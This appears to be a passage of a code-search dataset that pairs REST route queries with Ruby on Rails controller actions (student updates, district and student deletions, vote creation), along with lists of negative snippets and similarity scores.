"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @admin_student.update(admin_student_params)\n format.html { redirect_to @admin_student, notice: \"Student was successfully updated.\" }\n format.json { render :show, status: :ok, location: @admin_student }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @admin_student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @student_attendance = StudentAttendance.find(params[:id])\n\n respond_to do |format|\n if @student_attendance.update_attributes(params[:student_attendance])\n format.html { redirect_to(@student_attendance, :notice => t('student_attendance.title')+\" \"+t('updated')) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @student_attendance.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: 'El estudiante fue actualizado.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @studnet = Studnet.find(params[:id])\n\n respond_to do |format|\n if @studnet.update_attributes(params[:studnet])\n format.html { redirect_to @studnet, notice: 'Studnet was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @studnet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(admin_student_params)\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @student = set_student\n @student.update(students_params(:first_name,:last_name))\n redirect_to student_path(@student)\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: 'Estudiante ha sido satisfactoriamente actualizado.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: 'Se actualizó el registro de alumna satisfactoriamente.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @student = Student.find(params[:id])\n\n respond_to do |format|\n if @student.update_attributes(params[:student])\n format.html { redirect_to login_index_path, notice: 'Elev adus la zi.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find_by_id(params[:user])\n @student.user = @user\n @department = Department.find_by_id(params[:department])\n @student.department = @department\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @find_student.update(find_student_params)\n format.html { redirect_to @find_student, notice: 'Find student was successfully updated.' }\n format.json { render :show, status: :ok, location: @find_student }\n else\n format.html { render :edit }\n format.json { render json: @find_student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @indexstudent = Indexstudent.find(params[:id])\n\n respond_to do |format|\n if @indexstudent.update_attributes(params[:indexstudent])\n format.html { redirect_to @indexstudent, notice: 'Indexstudent was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @indexstudent.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n begin\n student = Student.find(params[:id])\n student.update_attributes!(student_params)\n\n render json: {status: 'SUCCESS', message:\"Student updated Successfully with name #{student.name}\", data:student}, status: :ok\n rescue => error\n render json: {status: 'ERROR', message:'Student Update failed!', data:error}, status: :unprocessable_entity\n end\n end",
"def update\n @student_relationship = StudentRelationship.find(params[:id])\n\n respond_to do |format|\n if @student_relationship.update_attributes(params[:student_relationship])\n flash[:notice] = 'StudentRelationship was successfully updated.'\n format.html { redirect_to(@student_relationship) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @student_relationship.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n\t\t#for each student, find the student using student id\n\t\t@student = Student.find(params[:id])\n\t\t#update the student using the student params\n\t\t@student.update(student_params)\n\t\t#go back to the student path when done\n\t\tredirect_to student_path(@student)\n\t#wraps up \"update\" action\n\tend",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to admin_student_path(@student), notice: 'student was successfully updated.' }\n format.json { render action: 'show', status: :updated, location: @student }\n #format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @student = Student.find(params[:student][:id])\n\n \t# check that the issuer of the request has both the username and ID, prevent attack\n if params[:student][:login].gsub(/ /,'') != @student.login.gsub(/ /,'')\n \tlog_attack \"Student update \" + params[:student][:id] + \" : \" + params[:student][:login] + \" - student.login = \" + @student.login \t\n respond_to do |format|\n format.xml { render :xml => errorRsp( \"ATTACK: Error student update \" + params[:student][:id] + \" : \" + params[:student][:login]) }\n end\n \treturn\n end\n \n \n respond_to do |format|\n if @student.update_attributes(params[:student])\n format.xml { render :xml => successRsp }\n else\n log_DB_errors( \"student\", @student.errors ) \n format.xml { render :xml => errorRsp( @student.errors.to_s ) }\n end\n end\n end",
"def update\n @student_test = StudentTest.find(params[:id])\n\n respond_to do |format|\n if @student_test.update_attributes(params[:student_test])\n format.html { redirect_to @student_test, notice: 'Student test was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @student_test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @districtclass = Districtclass.find(params[:id])\n\n respond_to do |format|\n if @districtclass.update_attributes(params[:districtclass])\n format.html { redirect_to @districtclass, notice: 'Districtclass was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @districtclass.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @student = Student.find(params[:id])\n\n if (@student.family_id && @student.family_id > 0)\n @family = Family.find(@student.family_id)\n end\n\n @resound_process = ResoundProcess.find_by_student_id(@student.id)\n\n respond_to do |format|\n if @student.update_attributes(params[:student])\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @online_student = OnlineStudent.find(params[:id])\n\n respond_to do |format|\n if @online_student.update_attributes(params[:online_student])\n format.html { redirect_to @online_student, notice: 'Online student was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @online_student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @studentset = Studentset.find(params[:id])\n\n respond_to do |format|\n if @studentset.update_attributes(params[:studentset])\n format.html { redirect_to @studentset, notice: 'Studentset was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @studentset.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @student_user = StudentUser.find(params[:id])\n\n respond_to do |format|\n if @student_user.update_attributes(params[:student_user])\n format.html { redirect_to @student_user, notice: 'Student user was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @student_user.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.65999484",
"0.65223414",
"0.6520604",
"0.6509181",
"0.64350975",
"0.64350975",
"0.64350975",
"0.6429083",
"0.6420107",
"0.64090484",
"0.63892967",
"0.63090265",
"0.629261",
"0.6217182",
"0.62101555",
"0.62056375",
"0.62056375",
"0.62040377",
"0.62040377",
"0.62040377",
"0.62040377",
"0.62040377",
"0.6174981",
"0.615236",
"0.6151247",
"0.6146911",
"0.6138905",
"0.61290085",
"0.6126816",
"0.6103412",
"0.60975635",
"0.60881555",
"0.6068057",
"0.6050216",
"0.60438544",
"0.60389346",
"0.60389346",
"0.60389346",
"0.60388255",
"0.6027854",
"0.6025499",
"0.6025499",
"0.6025499",
"0.6025499",
"0.6025499",
"0.6025499",
"0.6025499",
"0.6025499",
"0.6025499",
"0.6025499",
"0.6025499",
"0.6025499",
"0.6025499",
"0.6025499",
"0.6025499",
"0.6025499",
"0.6025499",
"0.6023296",
"0.60197806",
"0.6016086",
"0.6009595",
"0.6008734",
"0.60068727",
"0.59955335",
"0.59944457",
"0.59936595",
"0.59671926",
"0.5955208",
"0.59526366",
"0.59526366",
"0.5947843",
"0.59463596",
"0.5937106",
"0.5937106",
"0.5937106",
"0.59234965",
"0.5919044",
"0.5915914",
"0.5908073",
"0.59051484",
"0.59025764",
"0.5892458",
"0.5892458",
"0.58857256",
"0.5883541",
"0.58825123",
"0.58806235",
"0.5875159",
"0.5869645",
"0.5868414",
"0.58595705",
"0.5848041",
"0.58472824",
"0.5846656",
"0.5845165",
"0.58449733",
"0.58401996",
"0.5838021",
"0.58358145",
"0.58305633"
] |
0.6791229
|
0
|
DELETE /district_students/1 DELETE /district_students/1.xml
|
def destroy
@student = current_district.students.find(params[:id])
@student.remove_from_district
respond_to do |format|
format.html { redirect_to(index_url_with_page) }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n @district = District.find(params[:id])\n @district.destroy\n\n respond_to do |format|\n format.html { redirect_to(districts_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to(students_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to(students_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to(students_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to(students_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to(students_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to(students_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @student = current_user.students.find(params[:id])\n @student.destroy\n respond_to do |format|\n format.html { redirect_to(students_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @student_relation = StudentRelation.find(params[:id])\n @student_relation.destroy\n\n respond_to do |format|\n format.html { redirect_to(student_relations_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @district = District.find(params[:id])\n @district.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_city_districts_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @student_correspondence = StudentCorrespondence.find(params[:id])\n @student_correspondence.destroy\n\n respond_to do |format|\n format.html { redirect_to(student_correspondences_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n delete_with_references(@student,students_path)\n end",
"def destroy\n @student_referee = StudentReferee.find(params[:id])\n @student_referee.destroy\n\n respond_to do |format|\n format.html { redirect_to(student_referees_url) }\n format.xml { head :ok }\n end\n end",
"def delete\n\n @student = Student.find(params[:id])\n @student.destroy\n redirect_to \"/students/\"\n\n end",
"def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end",
"def destroy\n @dojo_student = DojoStudent.find(params[:id])\n @dojo_student.destroy\n\n respond_to do |format|\n format.html { redirect_to dojo_students_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n flash[:notice] = _('Student was successfully deleted.')\n format.html { redirect_to(:action => 'index') }\n format.xml { head :ok }\n end\n end",
"def destroy\n\tif session[:user].nil?\n\t\tredirect_to('/login/login')\n\tend\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to(students_url) }\n format.xml { head :ok }\n end\n end",
"def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end",
"def destroy\n @student_relationship = StudentRelationship.find(params[:id])\n @student_relationship.destroy\n\n respond_to do |format|\n format.html { redirect_to(student_relationships_path) }\n format.xml { head :ok }\n end\n end",
"def delete_student(sId)\n return false unless File.exist?(file)\n\n @data[:students].each do |value|\n next unless value[:id] == sId\n\n @data[:students][sId][:status] = :removed\n save_data\n return 1\n end\n 0\n end",
"def destroy\n\t\t@student = Student.find(params[:id])\n#\t\tredirect_to(@student, :notice => 'NOTICE: During initial testing, the deletion of students has been turned off.')\n#\t\treturn\n\t\tBrowse.student_changed(nil, @student)\n\t\tsolr().remove_object(@student.to_solr())\n\t\t@student.remove_references()\n\t\t@student.destroy\n\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to({:controller => 'admin', :action => 'index'}) }\n\t\tend\n\tend",
"def destroy\n @student_attendance = StudentAttendance.find(params[:id])\n @student_attendance.destroy\n\n respond_to do |format|\n format.html { redirect_to(student_attendances_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @student = Student.find(params[:id])\n @other_user = get_other_user(@student.userid)\n\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to(@other_user) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @student = Student.find(params[:id])\n @student.destroy\n end",
"def destroy\n @student = Student.find(params[:id])\n @student.destroy rescue flash[:notice] = 'No se puede borrar el alumno'\n\n respond_to do |format|\n format.html { redirect_to(students_url) }\n format.xml { head :ok }\n end\n end",
"def delete\n DATABASE.execute(\"DELETE from students WHERE id = #{id}\")\n end",
"def destroy\n Student.find(params[:id]).destroy\n redirect_to \"/dojos\"\n end",
"def delete\n DATABASE.execute(\"DELETE FROM students WHERE id = #{@id}\")\n end",
"def destroy\n @district.destroy\n respond_to do |format|\n format.html { redirect_to admin_districts_url, notice: '删除成功!' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student_regedship = StudentRegedship.find(params[:id])\n @student_regedship.destroy\n\n respond_to do |format|\n format.html { redirect_to(student_regedships_url) }\n format.xml { head :ok }\n end\n end",
"def delete_students(db, student_name)\n\tdb.execute(\"DELETE FROM students WHERE name=?\", [student_name])\nend",
"def destroy\n @direccion = Direccion.find(params[:id])\n @direccion.destroy\n\n respond_to do |format|\n format.html { redirect_to(direccions_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @student.destroy\n\n end",
"def destroy\n @student.delete\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n end",
"def destroy\n @dossier = Dossier.find(params[:id])\n @dossier.destroy\n\n respond_to do |format|\n format.html { redirect_to(\"/\") }\n format.xml { head :ok }\n end\n end",
"def destroy\n @student_publication = StudentPublication.find(params[:id])\n @student_publication.destroy\n\n respond_to do |format|\n format.html { redirect_to(student_publications_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n student.destroy\n respond_to do |format|\n format.html { redirect_to admin_students_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to group_students_path(@group), notice: 'Student was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"def delete_data(index_name)\n uri = @client.make_uri(\"/#{index_name}/update/\")\n req = HTTP::Post.new(uri)\n req.content_type = 'text/xml'\n req.body = '<delete><query>*:*</query></delete>'\n response = @client.send_http(req, true, ['200'])\n end",
"def destroy\n @job_student = JobStudent.find(params[:id])\n @job_student.destroy\n\n respond_to do |format|\n format.html { redirect_to(job_students_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @district = District.find(params[:id])\n @district.destroy\n\n respond_to do |format|\n flash[:success] = \"Район успешно удален.\"\n format.html { redirect_to districts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student = Student.find(params[:id])\n @student.destroy\n redirect_to students_path\n end",
"def destroy\n @student = @current_lop.students.find(params[:id])\n if @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end\n end",
"def destroy\n @dossier = Dossier.find(params[:id])\n @dossier.destroy\n\n respond_to do |format|\n format.html { redirect_to(dossiers_url) }\n format.xml { head :ok }\n end\n end",
"def delete(options={})\n connection.delete(\"/\", @name)\n end",
"def destroy\n @school.destroy\n\n respond_to do |format|\n format.html { redirect_to(schools_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @normal_example = NormalExample.find(params[:id])\n @normal_example.destroy\n\n respond_to do |format|\n format.html { redirect_to(normal_examples_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @student_type.destroy\n\n head :no_content\n end",
"def netdev_resxml_delete( xml )\n top = netdev_resxml_top( xml )\n par = top.instance_variable_get(:@parent)\n par['delete'] = 'delete'\n end",
"def destroy\n @student = Student.find(params[:id])\n id = @student.usuario_id\n @usuario = Usuario.find(id)\n @usuario.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_students_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @school_rec = SchoolRec.find(params[:id])\n @school_rec.destroy\n\n respond_to do |format|\n format.html { redirect_to(school_recs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy_student\n @signature = Signature.find(params[:id])\n @signature_student = @signature.signatures_students.find(:first,\n :conditions=>['year_id=? AND student_id=?', params[:year_id], params[:student_id]])\n @signature_student.destroy rescue flash[:notice] = 'No se puede borrar al alumno de esta asignatura'\n\n respond_to do |format|\n format.html { redirect_to(@signature) }\n format.xml { head :ok }\n end\n end",
"def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end",
"def test_set3_04b_delete_group()\n group = \"test_group\"\n user = \"test_user\"\n \n @test_acl.create_principal(user)\n @test_acl.create_group(group, [\"ALL\"], [user])\n \n query = \"doc(\\\"#{@col_path}Principals.xml\\\")//node()[@id=\\\"#{user}\\\"]/membership/mgroup[@idref=\\\"#{group}\\\"]\"\n #puts query\n handle = @db.execute_query(query)\n hits = @db.get_hits(handle)\n assert_equal(1, hits)\n \n @test_acl.delete_principal(group)\n \n query = \"doc(\\\"#{@col_path}Principals.xml\\\")//node()[@id=\\\"#{user}\\\"]/membership/mgroup[@idref=\\\"#{group}\\\"]\"\n handle = @db.execute_query(query)\n hits = @db.get_hits(handle)\n assert_equal(0, hits)\n end",
"def delete(id)\n @conn.exec(\"DELETE FROM students WHERE id = '#{id}'\")\nend",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Se borró el registro de alumna satisfactoriamente.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to @student.school, notice: 'Student deletion successful.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: '生徒情報は削除されました' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @staffd = Staffd.find(params[:id])\n @staffd.destroy\n\n respond_to do |format|\n format.html { redirect_to(staffds_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :ok }\n end\n end",
"def delete(id)\n @conn.exec(\"DELETE FROM students WHERE id = '#{id}';\");\nend",
"def destroy\n @student_profile = StudentProfile.find(params[:id])\n @student_profile.destroy\n\n respond_to do |format|\n format.html { redirect_to(student_profiles_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to students_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n # @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :ok }\n end\n end",
"def destroy\r\n @student1 = Student1.find(params[:id])\r\n @student1.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to student1s_url }\r\n format.json { head :no_content }\r\n end\r\n end",
"def delete(id)\n @conn.exec(\"DELETE FROM students WHERE id = '#{id}';\")\nend",
"def delete\n request(:delete)\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to import_students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete path\n make_request(path, \"delete\", {})\n end",
"def destroy\n @supervisor_estagio = SupervisorEstagio.find(params[:id])\n @supervisor_estagio.destroy\n\n respond_to do |format|\n format.html { redirect_to(supervisor_estagios_url) }\n format.xml { head :ok }\n end\n end",
"def delete\n @user = User.find(params[:id])\n @user.rvsps.delete_all()\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @student = Student.find(params[:student_id])\n @inschool = Inschool.find(params[:id])\n @inschool.destroy\n\n respond_to do |format|\n format.html { redirect_to student_url(@student) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @segment = Segment.find(params[:id])\n @segment.destroy\n\n respond_to do |format|\n format.html { redirect_to(worldreach_segments_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @student_entity.destroy\n render json: {msg: 'deleted successfully'}, status: 200\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n @children_centre = ChildrenCentre.find(params[:id])\n @children_centre.destroy\n\n respond_to do |format|\n format.html { redirect_to(children_centres_url) }\n format.xml { head :ok }\n end\n end",
"def delete\n\n end",
"def destroy\n @xml_sample = XmlSample.find(params[:id])\n @xml_sample.destroy\n\n respond_to do |format|\n format.html { redirect_to xml_samples_url }\n format.xml do\n xml = {msg: \"complete\", status: \"OK\"}.to_xml\n return render xml: xml\n end\n end\n end",
"def destroy\n\t\t@student = Student.find(params[:id])\n\n\t\t@student.courses.each do |course|\n\t\t\tcourse.students.delete @student\n\t\tend\n\n\t\t@student.destroy\n\t \n\t\tredirect_to root_url\n\tend",
"def destroy\n @supervision.destroy\n\n respond_to do |format|\n format.html { redirect_to @supervision.student }\n format.json { head :no_content }\n end\n end",
"def destroy\n @college = College.find(params[:id])\n @college.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_colleges_url) }\n format.xml { head :ok }\n end\n end",
"def delete\n \n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @segment_detail = SegmentDetail.find(params[:id])\n @segment_detail.destroy\n\n respond_to do |format|\n format.html { redirect_to(segment_details_url) }\n format.xml { head :ok }\n end\n end",
"def delete\n end",
"def destroy\n @consultation = Consultation.find(params[:id])\n @consultation.destroy\n\n respond_to do |format|\n format.html { redirect_to(consultations_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n StdTeacher.where(\"idStd = ? AND idTeacher = ?\", params[:id], current_user.teacher.id).delete_all\n #@student = current_user.teacher.students.find(params[:id])\n #@student.destroy\n\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :no_content }\n end\n end"
] |
[
"0.6762636",
"0.6709687",
"0.6709687",
"0.6709687",
"0.6709687",
"0.6709687",
"0.6709687",
"0.66818243",
"0.66232604",
"0.6581956",
"0.6573161",
"0.6565127",
"0.6514531",
"0.6474491",
"0.6458881",
"0.64343095",
"0.6402634",
"0.6394218",
"0.6387375",
"0.6381286",
"0.63591003",
"0.6343476",
"0.63159955",
"0.62969005",
"0.6254985",
"0.6245767",
"0.6239833",
"0.6223229",
"0.621505",
"0.6211825",
"0.62097865",
"0.6207747",
"0.6201506",
"0.61727804",
"0.6168202",
"0.6167446",
"0.61610806",
"0.61518127",
"0.6135587",
"0.61336803",
"0.613019",
"0.6126632",
"0.6103486",
"0.61005455",
"0.6100366",
"0.6093442",
"0.60901326",
"0.608713",
"0.60869527",
"0.60780144",
"0.6077187",
"0.6064162",
"0.60574806",
"0.60516196",
"0.60490996",
"0.6043585",
"0.6041724",
"0.6038376",
"0.60286224",
"0.60269505",
"0.6025019",
"0.60236156",
"0.60236156",
"0.60236156",
"0.60236156",
"0.60236156",
"0.60236156",
"0.60236156",
"0.60236156",
"0.60232425",
"0.60226285",
"0.6020611",
"0.6017118",
"0.60133755",
"0.60112756",
"0.6010562",
"0.6007483",
"0.600372",
"0.6003454",
"0.6003436",
"0.60031694",
"0.59992814",
"0.5991084",
"0.5987375",
"0.59865206",
"0.5986386",
"0.5983889",
"0.59821236",
"0.5977432",
"0.59737974",
"0.5973662",
"0.59724855",
"0.59708554",
"0.59708554",
"0.59708554",
"0.59708554",
"0.5969239",
"0.5962878",
"0.59604526",
"0.59590703"
] |
0.67999524
|
0
|
POST /votes may or may not have authenticated user
|
def create
@vote = Vote.new(params[:vote])
if user_signed_in?
@vote.user_id = current_user.id
@vote.save
redirect_to root_path
else
@vote.user_id = nil # explicitly assign nil to prevent injection
@vote.save
redirect_to new_user_registration_path(vote_id: @vote.id, label: @vote.chicken ? 'cobra' : 'chicken')
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create_guest_vote\n user = current_or_guest_user\n if user.first_name == \"guest\"\n if session[:votes].nil?\n session[:votes] = [params[:post_id]]\n else\n session[:votes].push(params[:post_id])\n end\n end\n redirect_to '/posts'\n end",
"def session_vote?\n # override with true to allow voting for users who are not logged in\n # and save votes in session\n false\nend",
"def create\n @vote = @parent.votes.new\n# change this later for user login feature\n @vote.user_id = session[:user_id]\n\n respond_to do |format|\n if @vote.save\n @vote.update_post\n format.html { redirect_to :back, notice: 'Vote was successfully created.' }\n format.json { render json: @vote, status: :created, location: @vote }\n else\n format.html { render action: \"new\" }\n format.json { render json: @vote.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @vote = current_user.votes.build(vote_params)\n if @vote.save\n redirect_to @vote, notice: 'Vote was successfully submitted'\n else\n render action: 'new'\n end\n end",
"def create_answer_votes\n\t\tif @answer.vote_not_present?(current_user)\n vote = @answer.votes.new\n vote.user = current_user\n end\n if vote.save\n render json: { success: true,message: \"Vote Successfully Created.\"},:status=>200\n else\n render :json=> { success: false, message: \"Answers are not present\" },:status=> 203\n end\n\tend",
"def update_votes\n @user = current_user\n @post_id = params[:post_id]\n post=Post.find(@post_id)\n\n post.save\n\n msg = PostsUsers.vote(@user.id, @post_id)\n\n redirect_to :action => \"index\", :notice => msg\n\n end",
"def create_vote\n self.user.votes.create(value: 1, post: self)\n end",
"def create_vote\n self.user.votes.create(value: 1, post: self)\n end",
"def create_vote\r\n\t\tuser.votes.create(value: 1, post: self)\r\n\tend",
"def create\n if(Post.find(params[:post_vote][:post_id]).user_id != params[:post_vote][:user_id]) # only vote if it's not the same user who wrote the post!\n @api_v1_post_vote=PostVote.find_by_post_id_and_user_id(params[:post_vote][:post_id], params[:post_vote][:user_id])\n if @api_v1_post_vote.nil?\n @api_v1_post_vote = PostVote.new(params[:post_vote])\n else\n @api_v1_post_vote.vote = params[:post_vote][:vote]\n end\n\n respond_to do |format|\n if @api_v1_post_vote.save\n #format.html { redirect_to @api_v1_post_vote, notice: 'Post vote was successfully created.' }\n format.json { render json: @api_v1_post_vote, status: :created }\n else\n # format.html { render action: \"new\" }\n format.json { render json: @api_v1_post_vote.errors.messages.values, status: 400 }\n end\n end\n else\n render json: \"Can't vote for yourself.\", status: 400\n end\n end",
